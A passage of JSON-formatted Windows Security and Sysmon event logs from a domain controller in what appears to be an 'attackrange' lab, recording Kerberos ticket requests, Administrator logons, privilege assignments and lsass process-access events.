11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":222221,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{D470DB98-0FD9-B098-795E-76B3533DE614}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{D470DB98-0FD9-B098-795E-76B3533DE614}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222222,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{D470DB98-0FD9-B098-795E-76B3533DE614}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{D470DB98-0FD9-B098-795E-76B3533DE614}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222223,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8CAE5\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{D470DB98-0FD9-B098-795E-76B3533DE614}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x8cae5","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{D470DB98-0FD9-B098-795E-76B3533DE614}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222224,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8CAE5\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8cae5","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5842,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.853\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.853","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5843,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.853\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.853","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":222225,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8CAE5\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x8cae5","LogonType":"3","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5844,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:36.885\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:36.885","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":222226,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":222227,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{D470DB98-0FD9-B098-795E-76B3533DE614}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{D470DB98-0FD9-B098-795E-76B3533DE614}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222228,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{D470DB98-0FD9-B098-795E-76B3533DE614}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{D470DB98-0FD9-B098-795E-76B3533DE614}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 